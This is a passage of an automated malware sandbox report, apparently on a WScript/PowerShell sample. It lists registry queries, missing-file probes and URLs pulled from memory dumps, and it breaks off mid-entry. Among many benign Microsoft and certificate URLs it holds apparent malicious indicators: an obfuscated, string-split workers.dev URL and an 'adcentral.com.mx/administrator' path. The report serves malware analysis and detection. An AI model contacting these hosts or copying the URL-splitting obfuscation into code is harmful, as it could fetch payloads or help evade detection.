F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information)43:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")44:Tedb,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")45:Taca,"WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL"46:Tbfa,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_HOME%" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_SYMLINK%" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML"47:T1abf,Pattern match: "https://rough-truth-e072.publi'+'cftpresend.worke'+'rs.dev/eghdpz{0}'+" Heuristic match: "adcentral.com.mx" Heuristic match: "ip-api.com" Pattern match: "https://adcentral.com.mx/administrator/ognltimg_" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "15.cat" Pattern match: "ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "www.digicert.com1!0" Heuristic match: "ntrust.net" Heuristic match: "ows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "stem.management.automation.re" Heuristic match: "shell.co" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Heuristic match: "qk.mr" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526726" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526920" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526919" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoftu" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "http://www.microsoft.com/win" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/mi-t" Heuristic match: "ut_2010-06-23.cr" Pattern match: "www.micros" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "*.adcentral.com.mx" Pattern match: "yr1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "t.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crl" Pattern match: "crl2.microsoft.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crl0" Pattern match: "http://www.microsoft" Pattern match: "osoft.com/pki/do"48:T6e8a,Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0d:%i9tbd>;,?^syey.g^" - Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eusername=0wqyd7aarsmmscorlibsystem.cpep_system.cname" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;f'kg" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris?decduz_]y!;_120531151137z0/^g(o-cejy" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ln[(" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoftuxg@^washington1redmond1microsoft" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/win02ig" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-n0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mi-tut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003340.00000000.201294.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL 